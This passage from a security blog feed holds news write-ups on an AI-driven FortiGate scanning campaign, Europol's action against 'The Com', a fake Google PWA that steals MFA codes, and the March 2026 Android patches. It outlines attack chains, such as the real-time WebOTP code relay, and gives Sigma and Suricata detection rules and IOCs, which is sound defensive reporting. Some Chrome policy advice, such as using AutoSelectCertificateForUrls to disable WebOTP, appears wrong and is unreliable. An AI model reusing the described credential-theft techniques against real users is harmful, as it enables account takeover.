<p>In this campaign, the attackers pointed CyberStrikeAI at FortiGate appliances exposed to the internet. The platform's AI engine systematically tested known vulnerabilities including authentication bypass flaws and remote code execution bugs, adjusting its approach based on the target's firmware version and patch level.</p>
<h2 id="heading-scale-and-impact">Scale and Impact</h2>
<p>The numbers are staggering:</p>
<ul>
<li><strong>55 countries</strong> with confirmed attack activity</li>
<li><strong>Thousands of FortiGate appliances</strong> targeted in automated scanning waves</li>
<li><strong>Multiple CVEs</strong> exploited, including recent authentication bypass vulnerabilities</li>
<li><strong>Administrative access</strong> achieved on unpatched devices, enabling configuration theft, VPN credential extraction, and backdoor deployment</li>
</ul>
<p>The geographic spread — spanning North America, Europe, Asia-Pacific, and the Middle East — suggests an organized campaign rather than opportunistic scanning. Team Cymru noted that the attack infrastructure used rotating proxies and distributed scanning nodes to evade IP-based blocking.</p>
<h2 id="heading-the-ai-powered-attack-paradigm-shift">The AI-Powered Attack Paradigm Shift</h2>
<p>This incident marks a significant escalation in how AI tools are being weaponized. Unlike traditional automated scanning tools (like Nmap or Masscan), CyberStrikeAI introduces:</p>
<ul>
<li><strong>Adaptive Decision-Making</strong>: The tool adjusts its attack strategy based on response analysis, mimicking how a skilled penetration tester would operate</li>
<li><strong>Evasion Intelligence</strong>: AI-driven payload modification helps bypass signature-based detection</li>
<li><strong>Speed at Scale</strong>: What would take a human pentester days to accomplish across a handful of targets is executed across thousands in hours</li>
</ul>
<p>Security researcher Kevin Beaumont commented that this represents "the crossing of a line we've been warning about — offensive AI tools reaching commodity status."</p>
<h2 id="heading-defensive-recommendations">Defensive Recommendations</h2>
<h3 id="heading-immediate-actions">Immediate Actions</h3>
<ul>
<li><strong>Patch FortiGate appliances</strong> to the latest firmware version immediately</li>
<li><strong>Audit management interfaces</strong> — disable internet-facing admin access (HTTPS, SSH) or restrict to trusted IPs</li>
<li><strong>Check for compromise indicators</strong>: Look for unauthorized admin accounts, modified firewall policies, and unexpected VPN tunnel configurations</li>
<li><strong>Review FortiGuard logs</strong> for scanning patterns characteristic of AI-driven reconnaissance (rapid sequential CVE probing)</li>
</ul>
<h3 id="heading-strategic-defenses">Strategic Defenses</h3>
<ul>
<li><strong>Implement virtual patching</strong> via IPS/WAF rules while scheduling firmware updates</li>
<li><strong>Deploy network segmentation</strong> to limit blast radius if a perimeter device is compromised</li>
<li><strong>Monitor for anomalous admin behavior</strong> — AI-driven attacks often create admin sessions at unusual hours</li>
<li><strong>Threat hunt for FortiGate IOCs</strong> published by Team Cymru and Fortinet PSIRT</li>
</ul>
<h3 id="heading-detection-opportunities">Detection Opportunities</h3>
<p>Monitor for these behavioral indicators:</p>
<pre><code># Rapid CVE probing pattern (multiple exploit attempts within seconds)
alert http any any -&gt; $FORTIGATE_MGMT any (msg:<span class="hljs-string">"Possible AI-driven FortiGate exploit scan"</span>; flow:to_server; threshold:type both,track by_src,count <span class="hljs-number">10</span>,seconds <span class="hljs-number">30</span>; sid:<span class="hljs-number">2026030401</span>;)

# Unauthorized admin session creation
FortiGate log: type=event subtype=system level=warning action=login user=admin status=success srcip=<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">unexpected_IP</span>&gt;</span></span>
</code></pre><h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>This campaign sits at the intersection of two accelerating trends: the <strong>commoditization of AI-powered offensive tools</strong> and the <strong>persistent exposure of network perimeter devices</strong>. Cloudflare's latest threat report, also released this week, revealed the company blocks <strong>230 billion threats daily</strong> — underscoring how automated the attack ecosystem has become.</p>
<p>The weaponization of CyberStrikeAI is a wake-up call: the barrier to entry for sophisticated, adaptive attacks has dropped dramatically. Organizations can no longer rely on patch cadence alone — they need continuous monitoring, behavioral detection, and the assumption that perimeter devices will be targeted with intelligence.</p>
<hr />
<p><em>Need help assessing your exposure? Apply to our <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> at theinsider-x.com — limited slots available.</em></p>
]]></content:encoded></item><item><title><![CDATA[Project Compass: Europol Dismantles The Com Teen Cybercrime Network]]></title><description><![CDATA[Europol has delivered the first major blow against "The Com" — a decentralized cybercriminal collective of teenagers and young adults responsible for some of the most high-profile attacks of 2023-2025, including the MGM Resorts breach, the Marks & Sp...]]></description><link>https://deepseax.hashnode.dev/project-compass-europol-dismantles-the-com-teen-cybercrime-network</link><guid isPermaLink="true">https://deepseax.hashnode.dev/project-compass-europol-dismantles-the-com-teen-cybercrime-network</guid><category><![CDATA[europol]]></category><category><![CDATA[ransomware]]></category><category><![CDATA[#ScatteredSpider]]></category><category><![CDATA[#SocialEngineering ]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 09:08:23 GMT</pubDate><content:encoded><![CDATA[<p>Europol has delivered the first major blow against "The Com" — a decentralized cybercriminal collective of teenagers and young adults responsible for some of the most high-profile attacks of 2023-2025, including the MGM Resorts breach, the Marks &amp; Spencer ransomware attack, and the Harrods IT disruption. Project Compass, a 28-country law enforcement operation, has resulted in 30 arrests and 179 suspects identified.</p>
<h2 id="heading-what-is-the-com">What Is The Com?</h2>
<p>"The Com" (short for "The Community") is not a single hacking group — it's a <strong>sprawling ecosystem</strong> of English-speaking cybercriminals, primarily aged 16-25, that spawns sub-groups operating semi-independently. The most notorious offshoots include:</p>
<ul>
<li><strong>Scattered Spider</strong> (UNC3944) — social engineering specialists behind the <a target="_blank" href="https://www.reuters.com/technology/mgm-resorts-shuts-some-systems-following-cyber-attack-2023-09-11/">MGM Resorts breach</a> ($100M+ impact) and Caesars Entertainment extortion ($15M ransom paid)</li>
<li><strong>ShinyHunters</strong> — data breach operators linked to Pornhub, Ticketmaster, and AT&amp;T breaches</li>
<li><strong>Star Fraud / 0ktapus</strong> — SMS phishing campaigns targeting Okta, Twilio, and 130+ organizations</li>
</ul>
<p>What makes The Com unique among cybercriminal ecosystems is the <strong>convergence of cybercrime with real-world violence</strong>. Members don't just hack — they engage in SIM swapping, swatting (fake emergency calls), sextortion of minors, and coercion of teenagers into self-harm. Europol explicitly noted links to <strong>violent extremist groups</strong> and <strong>Russian cybercriminal gangs</strong>.</p>
<h2 id="heading-project-compass-the-operation">Project Compass: The Operation</h2>
<p>Launched in January 2025 and coordinated by Europol's <strong>European Counter Terrorism Centre</strong> (not the cybercrime unit — a deliberate signal about The Com's violence nexus), Project Compass brought together:</p>
<ul>
<li><strong>28 countries</strong> — EU member states, Five Eyes (US, UK, Canada, Australia, NZ), Norway, Switzerland</li>
<li><strong>Key agencies</strong> — FBI, Homeland Security Investigations, UK Counter Terrorism Policing, National Crime Agency</li>
</ul>
<h3 id="heading-results-after-year-one">Results After Year One</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Metric</td><td>Count</td></tr>
</thead>
<tbody>
<tr>
<td>Arrests</td><td><strong>30</strong></td></tr>
<tr>
<td>Perpetrators identified</td><td><strong>179</strong></td></tr>
<tr>
<td>Victims identified</td><td><strong>62</strong></td></tr>
<tr>
<td>Children safeguarded</td><td><strong>4</strong></td></tr>
<tr>
<td>Countries involved</td><td><strong>28</strong></td></tr>
</tbody>
</table>
</div><h2 id="heading-attack-techniques-mitre-attampck-mapped">Attack Techniques (MITRE ATT&amp;CK Mapped)</h2>
<p>The Com's sub-groups share a common playbook that security teams should understand:</p>
<h3 id="heading-1-social-engineering-amp-vishing-t1566httpsattackmitreorgtechniquest1566">1. Social Engineering &amp; Vishing (<a target="_blank" href="https://attack.mitre.org/techniques/T1566/">T1566</a>)</h3>
<p>Scattered Spider's signature move: <strong>calling IT helpdesks</strong> while impersonating employees to reset MFA. The MGM breach started with a single phone call to an outsourced helpdesk.</p>
<h3 id="heading-2-sim-swapping-t1111httpsattackmitreorgtechniquest1111">2. SIM Swapping (<a target="_blank" href="https://attack.mitre.org/techniques/T1111/">T1111</a>)</h3>
<p>Porting victim phone numbers to attacker-controlled SIMs to intercept SMS-based MFA codes. This technique was used to bypass 2FA on cryptocurrency exchanges, corporate accounts, and personal banking.</p>
<h3 id="heading-3-sms-phishing-kits-t1598003httpsattackmitreorgtechniquest1598003">3. SMS Phishing Kits (<a target="_blank" href="https://attack.mitre.org/techniques/T1598/003/">T1598.003</a>)</h3>
<p>The 0ktapus campaign sent phishing SMS to employees at 130+ companies, harvesting Okta credentials and MFA tokens in real-time using custom phishing kits that proxied to legitimate login pages.</p>
<h3 id="heading-4-identity-provider-compromise-t1556httpsattackmitreorgtechniquest1556">4. Identity Provider Compromise (<a target="_blank" href="https://attack.mitre.org/techniques/T1556/">T1556</a>)</h3>
<p>Once inside via social engineering, Scattered Spider targeted identity providers (Okta, Azure AD) to create persistent access across the entire organization — not just one system.</p>
<h3 id="heading-5-ransomware-deployment-t1486httpsattackmitreorgtechniquest1486">5. Ransomware Deployment (<a target="_blank" href="https://attack.mitre.org/techniques/T1486/">T1486</a>)</h3>
<p>The Com's groups partnered with <strong>ALPHV/BlackCat</strong> ransomware-as-a-service for the MGM and M&amp;S attacks, deploying encryption after lateral movement through identity infrastructure.</p>
<h2 id="heading-detection-guidance">Detection Guidance</h2>
<h3 id="heading-sigma-rule-helpdesk-social-engineering-indicators">Sigma Rule: Helpdesk Social Engineering Indicators</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Suspicious</span> <span class="hljs-string">MFA</span> <span class="hljs-string">Reset</span> <span class="hljs-string">Following</span> <span class="hljs-string">Helpdesk</span> <span class="hljs-string">Call</span>
<span class="hljs-attr">id:</span> <span class="hljs-string">9d4e5f6a-1b2c-3d4e-5f6a-7b8c9d0e1f2a</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">description:</span> <span class="hljs-string">Detects</span> <span class="hljs-string">MFA</span> <span class="hljs-string">reset</span> <span class="hljs-string">events</span> <span class="hljs-string">that</span> <span class="hljs-string">may</span> <span class="hljs-string">indicate</span> <span class="hljs-string">social</span> <span class="hljs-string">engineering</span> <span class="hljs-string">of</span> <span class="hljs-string">helpdesk</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">azure</span>
  <span class="hljs-attr">service:</span> <span class="hljs-string">auditlogs</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection_reset:</span>
    <span class="hljs-attr">Operation:</span> <span class="hljs-string">'Reset password'</span>
    <span class="hljs-attr">ResultType:</span> <span class="hljs-number">0</span>
  <span class="hljs-attr">selection_mfa:</span>
    <span class="hljs-attr">Operation:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'User registered security info'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'Admin registered security info'</span>
  <span class="hljs-attr">timeframe:</span> <span class="hljs-string">15m</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection_reset</span> <span class="hljs-string">|</span> <span class="hljs-string">near</span> <span class="hljs-string">selection_mfa</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.credential_access</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1566</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1556</span>
</code></pre>
<h3 id="heading-what-to-monitor">What to Monitor</h3>
<ul>
<li><strong>Identity Provider logs</strong> — MFA resets, new device registrations, unusual login locations following helpdesk interactions</li>
<li><strong>Helpdesk ticket correlation</strong> — cross-reference password reset tickets with subsequent suspicious authentication events</li>
<li><strong>SIM swap indicators</strong> — sudden loss of SMS-based MFA delivery, carrier-level number porting alerts</li>
<li><strong>Lateral movement from IdP</strong> — single identity accessing abnormal number of systems post-authentication</li>
</ul>
<h2 id="heading-why-this-matters-for-defenders">Why This Matters for Defenders</h2>
<p>The Com represents a <strong>new model of cybercrime</strong> that traditional threat intelligence struggles with:</p>
<ol>
<li><strong>Age</strong> — members are 16-25, many minors, making prosecution complex across jurisdictions</li>
<li><strong>Decentralization</strong> — no central leadership, sub-groups form and dissolve organically</li>
<li><strong>Violence convergence</strong> — cyber tactics combined with real-world threats (swatting, extortion, coercion of minors)</li>
<li><strong>Affiliate model</strong> — young hackers providing initial access to sophisticated ransomware operations (ALPHV/BlackCat)</li>
</ol>
<p>30 arrests out of 179 identified means <strong>149 known suspects are still active</strong>. Project Compass is ongoing, but The Com's decentralized structure means new sub-groups will continue to emerge.</p>
<p><strong>The defensive takeaway</strong>: if your organization relies on helpdesk-based password resets or SMS-based MFA, you are running the exact playbook Scattered Spider exploits. Move to phishing-resistant MFA (FIDO2/passkeys) and implement helpdesk verification protocols that can't be socially engineered.</p>
<p><em>Sources: <a target="_blank" href="https://www.darkreading.com/threat-intelligence/30-alleged-members-the-com-arrested-project-compass">Dark Reading</a>, <a target="_blank" href="https://www.helpnetsecurity.com/2026/02/27/europol-the-com-network-arrests/">Help Net Security</a>, <a target="_blank" href="https://securityaffairs.com/188708/cyber-crime/europols-project-compass-nets-30-arrests-in-crackdown-on-the-com.html">Security Affairs</a></em></p>
<hr />
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Fake Google Security Alert Installs PWA That Steals MFA Codes]]></title><description><![CDATA[A phishing campaign posing as a Google Account security check is tricking users into installing a Progressive Web App (PWA) that functions as a full browser-based RAT — stealing MFA codes in real time, harvesting cryptocurrency wallets, and turning t...]]></description><link>https://deepseax.hashnode.dev/fake-google-security-alert-installs-pwa-that-steals-mfa-codes</link><guid isPermaLink="true">https://deepseax.hashnode.dev/fake-google-security-alert-installs-pwa-that-steals-mfa-codes</guid><category><![CDATA[browsersecurity ]]></category><category><![CDATA[MFA]]></category><category><![CDATA[phishing]]></category><category><![CDATA[#progressivewebapp ]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 05:07:48 GMT</pubDate><content:encoded><![CDATA[<p>A phishing campaign posing as a Google Account security check is tricking users into installing a Progressive Web App (PWA) that functions as a full browser-based RAT — stealing MFA codes in real time, harvesting cryptocurrency wallets, and turning the victim's browser into a network proxy. This isn't your typical credential phishing page.</p>
<h2 id="heading-what-happened">What Happened</h2>
<p>Reported by <a target="_blank" href="https://www.malwarebytes.com/blog/privacy/2026/02/inside-a-fake-google-security-check-that-becomes-a-browser-rat">Malwarebytes researcher Stefan Dasic</a> in February 2026, the campaign operates from the domain <code>google-prism[.]com</code>, which presents victims with a convincing Google Account security page. Instead of simply harvesting credentials, the page prompts users to "install" a security app — actually a PWA that gains persistent access to the browser with extensive permissions.</p>
<p>What makes PWA phishing particularly dangerous: once installed, the <strong>browser address bar disappears</strong>. The victim sees what appears to be a native Google application with no visible URL to verify legitimacy.</p>
<h2 id="heading-technical-breakdown">Technical Breakdown</h2>
<h3 id="heading-the-attack-chain">The Attack Chain</h3>
<ol>
<li><strong>Initial lure</strong> — victim receives link to <code>google-prism[.]com</code> (via email, SMS, or ad redirect)</li>
<li><strong>Fake security check</strong> — page mimics Google's account security UI, warns of "suspicious activity"</li>
<li><strong>PWA installation prompt</strong> — user is asked to install a "Google Security" app for "enhanced protection"</li>
<li><strong>Permission harvesting</strong> — PWA requests contacts, location, notifications, and clipboard access</li>
<li><strong>Persistent C2</strong> — installed PWA beacons to <code>/api/heartbeat</code> every 30 seconds for new commands</li>
</ol>
<h3 id="heading-capabilities-browser-rat">Capabilities (Browser RAT)</h3>
<p>Once installed, the PWA operates as a multi-function RAT with capabilities mapped to MITRE ATT&amp;CK:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Capability</td><td>Technique</td><td>Detail</td></tr>
</thead>
<tbody>
<tr>
<td><strong>MFA theft</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1111/">T1111</a></td><td>Abuses WebOTP API to intercept SMS verification codes in real time</td></tr>
<tr>
<td><strong>Credential harvest</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1056/">T1056</a></td><td>Fake login form captures Google credentials before forwarding to real site</td></tr>
<tr>
<td><strong>Clipboard monitoring</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1115/">T1115</a></td><td>Targets cryptocurrency wallet addresses for clipboard hijacking</td></tr>
<tr>
<td><strong>Location tracking</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1430/">T1430</a></td><td>Real-time GPS exfiltration via Geolocation API</td></tr>
<tr>
<td><strong>Contact exfil</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1636/003/">T1636.003</a></td><td>Harvests device contacts via Contacts API</td></tr>
<tr>
<td><strong>Network proxy</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1090/">T1090</a></td><td>Routes attacker traffic through victim's browser</td></tr>
<tr>
<td><strong>Port scanning</strong></td><td><a target="_blank" href="https://attack.mitre.org/techniques/T1046/">T1046</a></td><td>Scans internal network for live hosts from within the browser context</td></tr>
</tbody>
</table>
</div><h3 id="heading-the-webotp-api-abuse">The WebOTP API Abuse</h3>
<p>This is the most technically interesting part. The <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/WebOTP_API">WebOTP API</a> was designed to let legitimate websites auto-read SMS OTP codes. The phishing PWA abuses this by:</p>
<ol>
<li>Requesting the <code>otp-credentials</code> permission during "security setup"</li>
<li>Listening for incoming SMS containing OTP patterns</li>
<li>Exfiltrating intercepted codes to the C2 server before they expire</li>
<li>Simultaneously submitting them to the real Google login page (real-time MFA relay)</li>
</ol>
<p>This effectively turns SMS-based 2FA into a single factor — the attacker has both the password (from the fake form) and the OTP (from WebOTP interception) simultaneously.</p>
<h3 id="heading-android-apk-escalation">Android APK Escalation</h3>
<p>On Android devices, the campaign goes further by offering an APK download disguised as a "Google Security" app. The APK includes:</p>
<ul>
<li><strong>Keylogging keyboard</strong> — replaces the default input method</li>
<li><strong>Notification monitoring</strong> — reads all push notifications (including auth app codes)</li>
<li><strong>Accessibility service abuse</strong> — screen monitoring and interaction capture</li>
<li><strong>Device admin persistence</strong> — prevents easy uninstallation</li>
</ul>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<h3 id="heading-sigma-rule-for-pwa-installation-monitoring">Sigma Rule for PWA Installation Monitoring</h3>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Suspicious</span> <span class="hljs-string">PWA</span> <span class="hljs-string">Installation</span> <span class="hljs-string">from</span> <span class="hljs-string">Non-Trusted</span> <span class="hljs-string">Domain</span>
<span class="hljs-attr">id:</span> <span class="hljs-string">8c3f1e2d-4a5b-6c7d-9e0f-1a2b3c4d5e6f</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">description:</span> <span class="hljs-string">Detects</span> <span class="hljs-string">PWA</span> <span class="hljs-string">installations</span> <span class="hljs-string">from</span> <span class="hljs-string">domains</span> <span class="hljs-string">mimicking</span> <span class="hljs-string">Google</span> <span class="hljs-string">services</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">chrome</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">browser_event</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection_domain:</span>
    <span class="hljs-string">url|contains:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'google-prism'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'google-security'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'google-protect'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'account-verify'</span>
  <span class="hljs-attr">selection_action:</span>
    <span class="hljs-attr">action:</span> <span class="hljs-string">'pwa_install'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection_domain</span> <span class="hljs-string">or</span> <span class="hljs-string">(selection_action</span> <span class="hljs-string">and</span> <span class="hljs-string">not</span> <span class="hljs-string">url|contains</span> <span class="hljs-string">'google.com'</span><span class="hljs-string">)</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.credential_access</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1111</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1056</span>
</code></pre>
<h3 id="heading-iocs">IOCs</h3>
<pre><code># Domain
google-prism[.]com

# Behavioral indicators
- PWA manifest requesting: geolocation, notifications, clipboard-read, contacts
- Heartbeat beacon: GET /api/heartbeat (<span class="hljs-number">30</span>-second interval)
- WebOTP API permission request <span class="hljs-keyword">from</span> non-Google origin
</code></pre><h3 id="heading-enterprise-detection">Enterprise Detection</h3>
<ul>
<li><strong>Chrome Enterprise</strong>: Block PWA installations from non-allowlisted domains via <code>WebAppInstallForceList</code> policy</li>
<li><strong>MDM/EDR</strong>: Alert on APK sideloading with accessibility service + device admin permissions</li>
<li><strong>Network</strong>: Monitor for 30-second beacon intervals to newly registered domains</li>
<li><strong>Email gateway</strong>: Block links to domains registered &lt; 30 days with Google brand terms</li>
</ul>
<h2 id="heading-mitigation-steps">Mitigation Steps</h2>
<ol>
<li><strong>Block <code>google-prism[.]com</code></strong> and related domains at DNS/proxy level</li>
<li><strong>Disable WebOTP API</strong> in enterprise Chrome via <code>AutoSelectCertificateForUrls</code> policy where SMS OTP isn't needed</li>
<li><strong>Switch from SMS 2FA to FIDO2/passkeys</strong> — hardware keys are immune to WebOTP interception</li>
<li><strong>Restrict PWA installations</strong> — Chrome Enterprise policy <code>DefaultWebAppInstallSetting</code> = <code>block</code></li>
<li><strong>User awareness</strong> — Google never asks to install apps via web pop-ups; all security features live at <code>myaccount.google.com</code></li>
</ol>
<h2 id="heading-why-this-matters">Why This Matters</h2>
<p>PWA-based phishing represents an evolution beyond traditional credential harvesting. By combining real-time MFA interception, persistent browser access, and RAT capabilities in a single package, attackers no longer need to deliver malware binaries — the browser itself becomes the implant. As browsers gain more native APIs (WebOTP, Contacts, Geolocation), the attack surface for PWA-based threats will only grow.</p>
<p>Defenders: treat PWA installation events with the same suspicion as executable downloads.</p>
<p><em>Sources: <a target="_blank" href="https://www.malwarebytes.com/blog/privacy/2026/02/inside-a-fake-google-security-check-that-becomes-a-browser-rat">Malwarebytes</a>, <a target="_blank" href="https://www.bleepingcomputer.com/news/security/fake-google-security-site-uses-pwa-app-to-steal-credentials-mfa-codes/">BleepingComputer</a></em></p>
<hr />
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — currently in open beta.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Android March 2026 Patch: 129 Flaws Fixed, Qualcomm Zero-Day Exploited]]></title><description><![CDATA[Google just dropped its largest Android security update since April 2018 — 129 vulnerabilities patched in a single month, including an actively exploited Qualcomm zero-day. If you manage Android devices in an enterprise environment, this is a priorit...]]></description><link>https://deepseax.hashnode.dev/android-march-2026-patch-129-flaws-fixed-qualcomm-zero-day-exploited-1</link><guid isPermaLink="true">https://deepseax.hashnode.dev/android-march-2026-patch-129-flaws-fixed-qualcomm-zero-day-exploited-1</guid><category><![CDATA[Android]]></category><category><![CDATA[#mobilesecurity]]></category><category><![CDATA[qualcomm]]></category><category><![CDATA[ZeroDay]]></category><dc:creator><![CDATA[DeepSeaX]]></dc:creator><pubDate>Tue, 03 Mar 2026 01:15:09 GMT</pubDate><content:encoded><![CDATA[<p>Google just dropped its largest Android security update since April 2018 — 129 vulnerabilities patched in a single month, including an actively exploited Qualcomm zero-day. If you manage Android devices in an enterprise environment, this is a priority patch cycle that demands immediate attention.</p>
<h2 id="heading-what-happened">What Happened</h2>
<p>The March 2026 Android Security Bulletin addresses 129 CVEs across two patch levels (2026-03-01 and 2026-03-05). The headline finding is <strong>CVE-2026-21385</strong>, a memory-corruption vulnerability in Qualcomm's open-source display driver component that Google confirms is "under limited, targeted exploitation" in the wild.</p>
<p>The timeline tells its own story about coordinated disclosure:</p>
<ul>
<li><strong>Dec 18, 2025</strong> — Google reports flaw to Qualcomm</li>
<li><strong>Feb 2, 2026</strong> — Qualcomm notifies OEM customers</li>
<li><strong>Mar 2, 2026</strong> — Public disclosure and patches released</li>
</ul>
<h2 id="heading-technical-breakdown">Technical Breakdown</h2>
<h3 id="heading-cve-2026-21385-the-actively-exploited-zero-day">CVE-2026-21385 — The Actively Exploited Zero-Day</h3>
<p>This memory-corruption bug lives in Qualcomm's open-source display driver and affects a staggering <strong>234 Qualcomm chipsets</strong>. That's not a typo — 234 different SoCs from budget to flagship-tier are vulnerable. The open-source nature of the component means the vulnerable code is publicly auditable, which likely accelerated both discovery and weaponization.</p>
<p>Memory corruption in a display driver is particularly dangerous because:</p>
<ul>
<li>Display drivers operate at <strong>kernel privilege level</strong></li>
<li>They process untrusted input (rendered content) at high frequency</li>
<li>Exploitation can lead to <strong>arbitrary code execution with kernel privileges</strong> (<a target="_blank" href="https://attack.mitre.org/techniques/T1068/">T1068</a>)</li>
</ul>
<h3 id="heading-patch-level-breakdown">Patch Level Breakdown</h3>
<p><strong>2026-03-01 (63 vulnerabilities):</strong>
| Component | Count | Notes |
|-----------|-------|-------|
| Framework | 32 | Largest category — nearly half carry 2025 CVE IDs |
| System | 19 | Core OS components |
| Google Play | 12 | Play Services and Store |</p>
<p><strong>2026-03-05 (66 vulnerabilities):</strong>
| Component | Count | Notes |
|-----------|-------|-------|
| Kernel | 15 | Linux kernel subsystems |
| Qualcomm open-source | 7 | Includes CVE-2026-21385 (zero-day) |
| Qualcomm closed-source | 8 | Binary-only vendor blobs |
| Imagination Technologies | 7 | GPU driver flaws |
| Unisoc | 7 | Budget chipset components |
| Arm | 1 | Mali GPU |</p>
<p>The fact that nearly half the Framework vulnerabilities carry 2025 CVE identifiers suggests these are backlogged fixes that were finally ready for release — a pattern that raises questions about patch pipeline efficiency.</p>
<h2 id="heading-detection-amp-hunting">Detection &amp; Hunting</h2>
<p>For MDM and endpoint security teams, here's what to look for:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">title:</span> <span class="hljs-string">Android</span> <span class="hljs-string">Device</span> <span class="hljs-string">Below</span> <span class="hljs-string">March</span> <span class="hljs-number">2026 </span><span class="hljs-string">Patch</span> <span class="hljs-string">Level</span>
<span class="hljs-attr">id:</span> <span class="hljs-string">3b8f2d1a-7c4e-4f9a-b2d1-5e6f7a8b9c0d</span>
<span class="hljs-attr">status:</span> <span class="hljs-string">experimental</span>
<span class="hljs-attr">description:</span> <span class="hljs-string">Detects</span> <span class="hljs-string">Android</span> <span class="hljs-string">devices</span> <span class="hljs-string">that</span> <span class="hljs-string">haven't</span> <span class="hljs-string">applied</span> <span class="hljs-string">the</span> <span class="hljs-string">March</span> <span class="hljs-number">2026 </span><span class="hljs-string">security</span> <span class="hljs-string">patch</span>
<span class="hljs-attr">logsource:</span>
  <span class="hljs-attr">product:</span> <span class="hljs-string">android</span>
  <span class="hljs-attr">category:</span> <span class="hljs-string">device_compliance</span>
<span class="hljs-attr">detection:</span>
  <span class="hljs-attr">selection:</span>
    <span class="hljs-attr">device.os:</span> <span class="hljs-string">android</span>
    <span class="hljs-string">device.patch_level|lt:</span> <span class="hljs-string">'2026-03-01'</span>
  <span class="hljs-attr">condition:</span> <span class="hljs-string">selection</span>
<span class="hljs-attr">level:</span> <span class="hljs-string">high</span>
<span class="hljs-attr">tags:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.privilege_escalation</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">attack.t1068</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">cve.2026.21385</span>
</code></pre>
<p><strong>Enterprise MDM queries:</strong></p>
<ul>
<li><strong>Intune/Endpoint Manager</strong>: Filter devices where <code>SecurityPatchLevel &lt; 2026-03-05</code></li>
<li><strong>Google Workspace</strong>: Admin Console → Devices → filter by security patch level</li>
<li><strong>Qualcomm chipset exposure</strong>: Cross-reference device inventory against Qualcomm's <a target="_blank" href="https://docs.qualcomm.com/product/publicresources/securitybulletin/march-2026-bulletin.html">234 affected chipset list</a></li>
</ul>
<h2 id="heading-mitigation-steps">Mitigation Steps</h2>
<ol>
<li><strong>Patch immediately</strong> — apply 2026-03-05 patch level (covers both batches including the zero-day)</li>
<li><strong>Prioritize Qualcomm devices</strong> — the actively exploited CVE-2026-21385 affects 234 chipsets; if your fleet includes Snapdragon-based devices, they're in scope</li>
<li><strong>Enforce MDM compliance</strong> — block corporate resource access for devices below the March 2026 patch level</li>
<li><strong>Monitor for exploitation</strong> — watch for unusual display driver crashes or kernel panics on Android endpoints, which could indicate exploitation attempts</li>
<li><strong>Check OEM patch availability</strong> — Samsung, Pixel, and OnePlus typically ship fastest; other OEMs may lag by weeks</li>
</ol>
<h2 id="heading-the-bigger-picture">The Bigger Picture</h2>
<p>129 patches in one month — the highest since 2018 — signals either a growing attack surface in Android or improved vulnerability discovery (likely both). The Qualcomm zero-day affecting 234 chipsets demonstrates why the Android ecosystem's fragmented patch delivery remains its Achilles' heel: Google can release patches, but OEMs control when devices actually receive them.</p>
<p>For defenders: treat Android patch management with the same urgency as Windows Patch Tuesday. The days of "phones are less targeted" are long gone.</p>
<p><em>Source: <a target="_blank" href="https://cyberscoop.com/android-security-update-march-2026/">CyberScoop</a></em></p>
<hr />
<blockquote>
<p>Need help assessing your exposure? Request a <a target="_blank" href="https://theinsider-x.com">Beta Tester Program</a> — currently in open beta.</p>
</blockquote>
